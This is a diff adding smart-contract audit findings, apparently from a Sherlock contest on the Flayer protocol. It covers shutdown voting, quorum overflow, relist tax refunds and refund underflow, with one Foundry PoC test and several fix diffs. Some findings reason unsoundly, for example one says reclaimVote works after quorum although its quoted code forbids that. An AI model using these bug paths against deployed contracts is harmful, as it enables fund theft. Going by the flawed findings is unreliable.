diff --git a/001/783.md b/001/783.md
new file mode 100644
index 0000000..aaedeb2
--- /dev/null
+++ b/001/783.md
@@ -0,0 +1,89 @@
+Rough Corduroy Eagle
+
+High
+
+# Inaccurate Quorum Calculation in Collection Shutdown due to Premature Vote Reclaim Restriction
+
+### Summary
+
+## Inaccurate Quorum Calculation in Collection Shutdown due to Premature Vote Reclaim Restriction
+
+**1. Bug Title:** Inaccurate Quorum Calculation in Collection Shutdown due to Premature Vote Reclaim Restriction
+
+**2. Trigger Condition:** This bug can be triggered when:
+
+- A collection shutdown process has been initiated using `start()`.
+- Users have voted, and the required quorum (`shutdownVotes >= quorumVotes`) for the shutdown has been achieved, setting `params.canExecute = true`.
+- **Before** the owner of the `CollectionShutdown` contract calls `execute()` to proceed with the shutdown, one or more users decide to reclaim their votes by calling `reclaimVote()`.
+
+**3. PoC Flow:**
+
+1. **Start Shutdown:** A user calls `start(collectionAddress)` initiating a collection shutdown process.
+2. **Users Vote:** Multiple users holding `CollectionToken` for the given collection call `vote(collectionAddress)`. Their votes are accumulated in `shutdownVotes`, eventually exceeding `quorumVotes`, setting `params.canExecute = true`.
+3. **User Reclaims Vote:** At least one of the voting users, before the owner calls `execute()`, changes their mind and calls `reclaimVote(collectionAddress)`. Their votes are deducted from `shutdownVotes`, potentially causing it to drop below `quorumVotes`.
+4. **Owner Executes Shutdown:** The `CollectionShutdown` contract owner calls `execute(collectionAddress, tokenIds)`. The `execute` function checks if `canExecute` is true (it still is, from step 2) but finds that `shutdownVotes` might be less than `quorumVotes` due to the vote reclaim in step 3.
+5. **Shutdown Failure:** The `execute` function reverts with `ShutdownNotReachedQuorum()` even though enough users initially voted in favor of the shutdown, hindering the collection's sunsetting process.
+
+**4. Detailed Impact:**
+
+- **Blocked Shutdown:** The collection intended for shutdown cannot be properly liquidated and removed from the Flayer platform. This impacts both users wanting to exit the collection and the overall efficiency of the platform.
+- **Inconsistency:** The bug creates an inconsistency between the status of the collection (perceived as ready for execution due to `canExecute = true`) and the actual votes remaining.
+- **Potential Misuse:** While not a direct exploit, a malicious actor could, in theory, repeatedly initiate shutdowns, encourage voting to reach quorum, and then quickly reclaim votes to prevent execution. This would unnecessarily burden the platform and potentially disrupt the intended usage of `CollectionShutdown`.
+
+**5. Code Snippet (`reclaimVote` function):**
+
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+}
+```
+
+**In Conclusion:** This bug poses a significant risk to the smooth functioning of the `CollectionShutdown` mechanism. By wrongly restricting vote reclaims based solely on reaching quorum instead of actual execution, the code creates a vulnerability to inconsistent state and potentially disrupted shutdowns. Addressing this logic error is crucial to ensure proper and predictable execution of collection sunsetting in Flayer.
+
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/784.md b/001/784.md
new file mode 100644
index 0000000..d011a65
--- /dev/null
+++ b/001/784.md
@@ -0,0 +1,94 @@
+Rough Corduroy Eagle
+
+High
+
+# Vote Manipulation in `voteAndClaim` Function
+
+### Summary
+
+## Flayer Collection Shutdown: Vote Manipulation Bug
+
+**1. Title:** Vote Manipulation in `voteAndClaim` Function
+
+**2. Why this could be triggered?**
+
+The `voteAndClaim` function is designed for efficiency, allowing users to participate in a collection shutdown vote and claim their share of the liquidation proceeds in a single transaction. However, a logical error in the function allows for vote manipulation. This error occurs because the user's votes are burned without being added to the total shutdown votes count, allowing users to skew the claim calculation in their favor.
+
+**3. PoC Flow to Trigger:**
+
+1. **Trigger Collection Shutdown:** A user initiates the shutdown process for a collection, reaching the required quorum.
+2. **Liquidation Complete:** All NFTs in the Sudoswap pool are sold, making funds available for claim.
+3. **Call `voteAndClaim` Repeatedly:** A user with dust tokens of the collection repeatedly calls `voteAndClaim`. Each call:
+ - Burns their existing dust tokens as a vote (without updating total shutdown votes).
+ - Claims a share based on a proportion that keeps growing with each call, due to the underreported `shutdownVotes` in the calculation.
+
+**4. Impact in Full Details:**
+
+- **Unfair Claim Distribution:** The exploiter gains an increasingly larger portion of the liquidation proceeds with each call to `voteAndClaim`.
+- **Fund Depletion:** By repeatedly calling the function, the exploiter can drain a significant portion of the available funds intended for all participants.
+- **Loss for Legitimate Claimants:** Other users who participated in the shutdown vote or hold dust tokens will receive a smaller than expected share of the proceeds, as their claim is diluted by the exploiter's manipulation.
+- **Loss of Trust:** This bug could severely damage trust in the Flayer protocol, as users may question the fairness and security of the shutdown process.
+
+**5. Function Code:**
+
+```solidity
+ function voteAndClaim(address _collection) public whenNotPaused {
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+ params.collectionToken.burnFrom(msg.sender, userVotes);
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = payable(msg.sender).call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, msg.sender, userVotes, amount);
+ }
+```
+
+**Recommendation:**
+
+To fix this bug, the function needs to correctly account for the new vote by adding the `userVotes` to the `params.shutdownVotes` before calculating the claim amount. This will ensure fair distribution of funds among participants during the collection shutdown process.
+
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/785.md b/001/785.md
new file mode 100644
index 0000000..875ad30
--- /dev/null
+++ b/001/785.md
@@ -0,0 +1,24 @@
+Bright Emerald Fish
+
+Medium
+
+# Incorrect index of checkpoint
+
+## Summary
+If the checkpoint is updated and the previous timestamp and current are the same (i.e they are within the same block) the index returned is incorrect.
+
+## Vulnerability Detail
+The `ProtectedListings::_createCheckpoint` function updates the `collectionCheckpoints` mapping whenever a change in the number of listings occurs and returns the index at which the latest checkpoint is stored.
+In the `ProtectedListings::_createCheckpoint` [function](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530C14-L530C31) if the timestamp of a listing is the same as the previous one in the array the `compoundedFactor` of the previous checkpoint is changed and used as the updated checkpoint. However, the index is calculated as the length of the array which is incorrect.
+
+## Impact
+The checkpoint index is incorrect and points to a non-existing array index, and since this is used in calculating the unlock price therefore the unlock price will also be incorrect.
+
+## Code Snippet
+In https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-#L567
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/001/789.md b/001/789.md
new file mode 100644
index 0000000..543521f
--- /dev/null
+++ b/001/789.md
@@ -0,0 +1,55 @@
+Cuddly Ocean Gibbon
+
+High
+
+# Incorrect uint88 and uint96 types leads to CollectionShutdownParams.quorumVotes and CollectionShutdownParams.shutdownVotes rounding Down
+
+## Summary
+The `CollectionShutdown` contract uses the `CollectionShutdownParams` structure to store information about the collections that are voted on. The most interesting thing for us in it is the `uint88 quorumVotes` parameter.
+
+From the code fragments below we can see that the dimension of quorumVotes is equal to the dimension of CollectionToken. The maximum dimensionality of CollectionToken is 27. 10 ** 27 does not fit into the uint88 type.
+
+That's why the value of quorumVotes will be rounded down, which will break the protocol functionality.
+
+A similar error occurs when calculating params.shutdownVotes. Only it does not fit into the uint96 type, but this error is very unlikely, unlike the first one. It is possible only in an extreme case, which will be described below.
+
+## Vulnerability Detail
+QuorumVotes is the threshold value of tokens that users must vote to liquidate a collection in `CollectionShutdown`. QuorumVotes is calculated from the totalSupply of tokens at the current moment. The tokens are a `CollectionToken` contract that uses `denomination` as a floating user-specified parameter that increases the base accuracy of ERC20 - 18. `denomination` ≥ 0 and ≤ 9. Thus, the maximum dimensionality of collectionToken is 27.
+
+As mentioned above, uint88 does not accommodate only CollectionToken with decimals 27 (denomination = 9). Let's show on a concrete example.
+
+Let totalSupply of a collection = `MAX_SHUTDOWN_TOKENS * 10 ^ denomination` = `4 * 10 ^ 27`
+
+Then quorumVotes = `4 * 10 ^ 27 * 50 / 100 = 2 * 10 ^ 27`.
+
+The maximum value of uint88 is `2 ^ 88 - 1`
+
+`2 * 10 ^ 27 > 2 ^ 88 - 1`
+
+Thus, collectionToken c `denomination = 9` will overflow quorumVotes, indicating an incorrect vote threshold.
+
+This error occurs in the code in two places. In the start function and in the execute function.
+
+In the start function it is assumed that totalSupply ≤ 4, while in the execute function totalSupply can be anything.
+
+Thus, rounding down is possible in both of these functions.
+
+We should also add that the same error occurs when calculating params.shutdownVotes. Only here uint96 is used. This type stops accommodating tokens with `denomination = 9` only when tokens ≥ ~ 80. Since this is used when counting user votes and the developers allow that the totalSupply of a collection can grow and become > 4 during the voting period - it is also necessary to consider the edge case that exactly during the voting period an illiquid collection with token `totalSupply ≤ 4` and `denomination = 9` will become very liquid (token ts≥ 80). And at least 80 tokens will be burned in the liquidation vote. Then uint96 will overflow. This is too unlikely an edge case, so we didn't put it into a separate error, but we should take it into account.
+## Impact
+This type selection error violates the shutdownVotes logic. The following scenarios are possible. Assume everywhere that collectionToken denomination = 9.
+
+- QuorumVotes will overflow the uint88 type and round down. Thus the threshold of votes needed to eliminate the collection will be much smaller than needed, and any vote will overflow it.
+- Since the tokens that users vote to eliminate this collection will also have denomination = 9, any vote will overflow quorumVotes with type uint88. `(10 ^ 27 > 2 ^ 88 - 1)`
+- In execute, a collection no longer has a limit on totalSupply, so even collections with a large totalSupply (if it suddenly changes from ≤ 4) may be eliminated because of this bug
+
+Severity: High
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157
+
+## Tool used
+Manual Review
+
+
+## Recommendation
+Use: uint104 (uint96 unsafe too, because totalSuppply ≥ 160 in execute will overflow)
\ No newline at end of file
diff --git a/001/791.md b/001/791.md
new file mode 100644
index 0000000..736e38a
--- /dev/null
+++ b/001/791.md
@@ -0,0 +1,55 @@
+Cuddly Ocean Gibbon
+
+High
+
+# The possibility of calling execute a second time results in a loss of funds
+
+## Summary
+
+`canExecute` in `collectionShutdown` can be set to `true` a second time, which means `cancel` can be called for a collection that has already had `execute` called on it. This leads to the deletion of the entry in the _collectionParams mapping, resulting in a DoS of the `claim` and `voteAndClaim` functions, and overall blocking of user funds, because after cancel it's impossible to return votes.
+
+## Vulnerability Detail
+
+After execute has been called for a collection, the params.canExecute parameter is changed from true to false. The `cancel` function can be called by anyone, it only requires canExecute to be true, and totalSupply > 4 (Let's assume this function is executed in the given reasoning).
+
+Since the protocol allows users to vote for liquidation even after the execute function is called, users can call the `vote` function, in which under certain conditions `canExecute` is changed to true again.
+
+```solidity
+if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+}
+```
+
+This means a scenario is possible (which can happen accidentally or be orchestrated by an attacker, where canExecute will be `true` again).
+
+Once `canExecute` becomes `true` again, `cancel` can be called, which in turn will clear the `_collectionParams[_collection]` structure:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+This will lead to a `DoS` of the `claim` and `voteAndClaim` functions as the functions will revert on the following line of code:
+
+```solidity
+if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+```
+
+which in turn will lead to the blocking of native tokens that are intended as rewards for users. Thus, for each user, the native token will be blocked in the amount of `amount` (`uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`).
+
+Moreover, there is currently an error in the protocol that prevents users from returning tokens they voted with after calling cancel. It is described in detail in the issue titled: `There is no method of returning votes in case of cancellation, resulting in loss of funds`
+
+Thus, the root cause of the problem is the ability to call cancel after execute.
+
+## Impact
+
+In this scenario, user funds and native tokens are blocked. It's not difficult for an attacker to achieve this scenario under conditions of low volatility and totalSupply of collections close to liquidation.
+
+Severity: High
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add params.isExecuted, and check that param in cancel.
\ No newline at end of file
diff --git a/001/793.md b/001/793.md
new file mode 100644
index 0000000..75414eb
--- /dev/null
+++ b/001/793.md
@@ -0,0 +1,107 @@
+Shiny Glass Hare
+
+Medium
+
+# Unintended Tax Refund for Liquidation Listings in Relist Function
+
+## Summary
+
+The relist function in the Listings contract does not differentiate between regular listings and liquidation listings when processing tax refunds. This oversight could lead to unintended tax refunds being issued for liquidation listings, which should not receive any refunds.
+
+## Vulnerability Detail
+In the relist function, tax refunds are processed for all listings without checking if they are liquidation listings:
+
+````solidity
+
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // ...
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ // ...
+}
+````
+
+Test:
+````solidity
+ function test_refuntToLiqLists() public {
+ // Set our keeper address
+ address payable _owner = users[1];
+ address keeperAddress = address(10);
+
+ uint _tokenId = 0;
+
+ erc721a.mint(_owner, _tokenId);
+ vm.startPrank(_owner);
+
+ // Provide the user with sufficient ERC20 to fulfill the partial adjustment
+ deal(
+ address(locker.collectionToken(address(erc721a))),
+ address(this),
+ 1 ether
+ );
+
+ locker.collectionToken(address(erc721a)).approve(
+ address(protectedListings),
+ 1 ether
+ );
+
+ // Create our listing
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.5 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Warp forward to a point at which the collateral available is negative
+ vm.warp(block.timestamp + LIQUIDATION_TIME);
+ vm.stopPrank();
+ // Trigger our liquidation
+ vm.prank(keeperAddress);
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+ locker.collectionToken(address(erc721a)).approve(
+ address(listings),
+ type(uint).max
+ );
+ address token = address(locker.collectionToken(address(erc721a)));
+ deal(token, address(this), type(uint).max);
+ emit log_uint(listings.balances(_owner, address(token)));
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 500
+ })
+ }),
+ false
+ );
+ emit log_uint(listings.balances(_owner, address(token)));
+ }
+```
+
+## Impact
+
+This vulnerability could lead to financial losses for the protocol. Liquidation listings, which are created when a protected listing is liquidated, should not receive tax refunds.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L644
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a check to differentiate between regular listings and liquidation listings before processing tax refunds.
+
diff --git a/001/795.md b/001/795.md
new file mode 100644
index 0000000..e6f402f
--- /dev/null
+++ b/001/795.md
@@ -0,0 +1,58 @@
+Cuddly Ocean Gibbon
+
+High
+
+# Relist Liquidation Listing lead to paying tx from protocol - loss 0.0514 collectionToken
+
+## Summary
+
+In the `Listings` contract, there are two ways to create a listing.
+
+1. By calling the `Listings::createListings` function. Paying a fee for each Listing. (The function can be called by any address)
+2. By calling the `Listings::createLiquidationListing` function. This function is only called from the `ProtectedListings::liquidateProtectedListing` function. ***No fee is paid for creating the listing in this case***. Also, an entry is created in the _isLiquidation dictionary. The listing is marked as true.
+
+As a result of both functions, the created listing is added to the _listings dictionary.
+
+For this vulnerability, it's important to understand the distribution of fees paid for creating a listing. The full logic can be found in the `_resolveListingTax` function
+
+Simplified, this logic looks like this: tx is divided into two components. Refund and Fees. When purchased, the Refund is sent back to the user who created the Listing, and the fees are sent to the UniswapPool. The faster the fill / modify / relist listing, the closer the refund is to the initial tx. If the collection is bought after the duration expires ⇒ refund = 0, fees = tx
+
+However, the relist function calls the `_resolveListingTax` function with the parameter bool _action = true, which means that the fee payment will be made directly within the function. However, when distributing the funds for fees in this function, there is no validation that the original listing should be _isLiquidation = false, otherwise we are distributing a fee for a listing that no one paid for, which means we are simply spending protocol funds.
+
+## Vulnerability Detail
+
+The root cause of the vulnerability is that the `_resolveListingTax` function does not check whether we are withdrawing a commission for a `liquidationListing` or not. In other places where the commission is withdrawn, the protocol performs this check [`[Listings::_fillListings](https://github.com/sherlock-audit/2024-08-flayer-BengalCatBalu/blob/d53f757bf5daac1e9d0c38a649d74efd9195494e/flayer/src/contracts/Listings.sol#L501-L501)`](https://github.com/sherlock-audit/2024-08-flayer-BengalCatBalu/blob/d53f757bf5daac1e9d0c38a649d74efd9195494e/flayer/src/contracts/Listings.sol#L501-L501) [`[Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer-BengalCatBalu/blob/d53f757bf5daac1e9d0c38a649d74efd9195494e/flayer/src/contracts/Listings.sol#L714-L719)`](https://github.com/sherlock-audit/2024-08-flayer-BengalCatBalu/blob/d53f757bf5daac1e9d0c38a649d74efd9195494e/flayer/src/contracts/Listings.sol#L714-L719).
+
+Calls to _resolveListingTax with the parameter action = true without a preliminary check for `isLiquidationListing = false` occur only in `relist`.
+
+Let's calculate how much the protocol loses in this case.
+
+The commission for placing a liquidationListing with parameters `floor_multiple = 400`, `duration = 4 days` can be calculated by running this test.
+
+```solidity
+function test_CalculateTax() public {
+ console.logUint(taxCalculator.calculateTax(address(0), 400, 4 days));
+}
+```
+
+In total, the protocol will lose: `0.05142857142857143 collectionToken`. Considering that the protocol logic assumes that `1 token = 1 floor price for nft in eth` - this loss will be significant, especially for expensive collections (5% of the floor price).
+
+## Impact
+
+For this error to occur and for the protocol to lose ~0.05 tokens, someone needs to decide to call relist from a liquidationListing. Since relist can be called by any user except listing.owner, the probability of this is high.
+
+The protocol's loss is also substantial, considering that it can occur frequently, including on expensive collections.
+
+Severity: High
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add isLiquidation check to relist function
\ No newline at end of file
diff --git a/002/012.md b/002/012.md
new file mode 100644
index 0000000..76b5f32
--- /dev/null
+++ b/002/012.md
@@ -0,0 +1,48 @@
+Flaky Sable Hamster
+
+Medium
+
+# Locker:initializeCollection() will be revert due to wrong subtraction of balances for refund
+
+## Summary
+Locker:initializeCollection() will be revert due to wrong `subtraction` of balances for refund any `unused` relative token to the user
+
+## Vulnerability Detail
+User can `initialize` the collection after paying `nativeToken(ETH)` & nftTokens. If there is any `unused` nativeToken(ETH) is transfered back to user.
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+....
+ // Send the native ETH equivalent token into the implementation
+@> uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+....
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+@> startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+Now the problem is while transferring back unused nativeToken, it subtracts `finalBalance(ie nativeToken.balanceOf(address(this)))` from `startBalance` instead of `finalBalance - startBalance`
+
+As result, transfer will revert due to arithmetic errors
+
+## Impact
+initializeCollection() will be DoS if there is any unused nativeToken
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395C8-L398C11
+
+## Tool used
+Manual Review
+
+## Recommendation
+Subtract `startBalance` from `finalBalance`
+```diff
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+```
\ No newline at end of file
diff --git a/002/055.md b/002/055.md
new file mode 100644
index 0000000..c51476f
--- /dev/null
+++ b/002/055.md
@@ -0,0 +1,70 @@
+Lucky Iron Sawfish
+
+Medium
+
+# ````Locker.initializeCollection()```` doesn't refund ````nativeToken```` correctly
+
+### Summary
+
+The ````Locker.initializeCollection()```` is designed to refund any unused native token to the user at the end of execution. The issue is it calculates the refunding amount wrongly, and cause incorrect fund refunded.
+
+### Root Cause
+
+The issue arises on ````Locker.sol:397```` ([link](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L397)), the refunding amount is wrong, and the correct amount should be ```` nativeToken.balanceOf(address(this)) - startBalance````.
+
+```solidity
+File: src\contracts\Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+...
+383: uint startBalance = nativeToken.balanceOf(address(this));
+384: nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+...
+387: uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+...
+391: collectionInitialized[_collection] = true;
+392: emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+...
+395: nativeToken.transfer(
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this)) // @audit incorrect
+398: );
+399: }
+```
+
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Users can't get correct refund
+
+### PoC
+
+_No response_
+
+### Mitigation
+```diff
+diff --git a/flayer/src/contracts/Locker.sol b/flayer/src/contracts/Locker.sol
+index eeac1b0..3e112dc 100644
+--- a/flayer/src/contracts/Locker.sol
++++ b/flayer/src/contracts/Locker.sol
+@@ -394,7 +394,7 @@ contract Locker is AirdropRecipient, ILocker, Pausable {
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+ }
+```
\ No newline at end of file
diff --git a/002/077.md b/002/077.md
new file mode 100644
index 0000000..33483ba
--- /dev/null
+++ b/002/077.md
@@ -0,0 +1,47 @@
+Stale Goldenrod Unicorn
+
+Medium
+
+# Incorrect refund logic for pool initialization
+
+### Summary
+
+The incorrect operation results in flawed refund logic implementation in [Locker.sol:397](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L397).
+
+### Root Cause
+
+In [Locker.sol:397](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L397), we have a calculation for the amount of tokens that need to be refunded to the user. However, the problem is that it's done in reverse order. To calculate the remaining funds, we need to subtract the current balance from the starting balance, not the other way around.
+
+### Internal pre-conditions
+
+1. Implementation returns excess tokens back to Locker contract
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. The user calls `initializeCollection` with an excess `_eth` value.
+
+### Impact
+
+The user won't be able to initialize a collection without providing the exact amount of _eth as input.
+
+### PoC
+
+1. Alice calls `initializeCollection` with `_eth` value of 20e18 and `startBalance` set to 0, as no collections were initialized before.
+2. The new implementation has logic to return excess tokens back to the Locker contract, so it returns 5e18 tokens.
+3. The Locker's current balance is now 5e18, and because the expression `0 - 5e18` will revert, the user won't be able to initialize the collection.
+
+### Mitigation
+
+Update code like that:
+```diff
++ uint currentBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ currentBalance > startBalance ? currentBalance - startBalance : startBalance - currentBalance
+ );
+```
\ No newline at end of file
diff --git a/002/087.md b/002/087.md
new file mode 100644
index 0000000..6d90cf9
--- /dev/null
+++ b/002/087.md
@@ -0,0 +1,98 @@
+Rich Chrome Whale
+
+Medium
+
+# Collection Pool initialization will always revert
+
+### Summary
+
+in `UniswapImplementation::beforeInitialize()` always revert causing DOS to any pool initialized even through `Locker.sol`
+
+### Root Cause
+
+```solidity
+File: UniswapImplementation.sol
+452: function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+453: revert CannotBeInitializedDirectly();
+454: }
+```
+`beforeInitialize` always revert even its only called by `PoolManager` through the beforeInitializationHook
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Before the sequence of the bug, Firstly Users needs to call `Locker::createCollection()`
+That calls `UniswapImplementation::registerCollection()` that assign the hook of the pool created as `address(this)` [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L174)
+
+Meaning that `UniswapImplementation` is the `hook` address of Pools
+
+When user calls `Locker::initializeCollection()` it calls `UniswapImplementation::initializeCollection()` that calls `PoolManager::initialize()` [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214)
+
+```solidity
+File: PoolManager.sol
+118: function initialize(PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+////////////////////////
+135: key.hooks.beforeInitialize(key, sqrtPriceX96, hookData);
+136:
+137: PoolId id = key.toId();
+138: (, uint24 protocolFee) = _fetchProtocolFee(key);
+139:
+140: tick = _pools[id].initialize(sqrtPriceX96, protocolFee, lpFee);
+141:
+142: key.hooks.afterInitialize(key, sqrtPriceX96, tick, hookData);
+//////////////////////
+147: }
+```
+
+We see that we call `beforeInitialize` function in Line 135
+
+Going to the lib used for `Hooks` this is How `poolManager` calls `UniswapImplementation`
+
+```solidity
+File: Hooks.sol
+178: function beforeInitialize(IHooks self, PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+179: internal
+180: noSelfCall(self)
+181: {
+182: if (self.hasPermission(BEFORE_INITIALIZE_FLAG)) {
+183: self.callHook(abi.encodeCall(IHooks.beforeInitialize, (msg.sender, key, sqrtPriceX96, hookData)));
+184: }
+185: }
+```
+
+Then when `poolManager` calls that hook on `UniswapImplementation` it will revert here
+
+```solidity
+File: UniswapImplementation.sol
+452: function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+453: revert CannotBeInitializedDirectly();
+454: }
+```
+
+_!NOTE:_ `UniswapImplementation` supports `beforeInitialize` Hook as seen here
+```solidity
+File: UniswapImplementation.sol
+429: function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
+430: return Hooks.Permissions({
+431: beforeInitialize: true,
+```
+
+### Impact
+
+Users won't be able to provide liquidity to their collection cause the txn will always revert
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/002/091.md b/002/091.md
new file mode 100644
index 0000000..80d8f7f
--- /dev/null
+++ b/002/091.md
@@ -0,0 +1,142 @@
+Rich Chrome Whale
+
+High
+
+# User Initializing a Pool will have his funds stuck
+
+### Summary
+
+User calling `Locker::initializeCollection()` Will have his liquidity Stuck and can't withdraw them back, leading to loss of funds
+
+### Root Cause
+
+Initialized liquidity are owned to `UniswapImplementation` and not The user initializing the pool, leading to stuck funds since neither him or the Admin can withdraw them back
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Before the sequence of the bug, Firstly Users needs to call `Locker::createCollection()`
+That calls `UniswapImplementation::registerCollection()`
+
+Now the bug is as follows
+
+User calls `Locker::initializeCollection()` to activate the uniV4 Pool and trading
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+368: // Ensure the collection is not already initialised
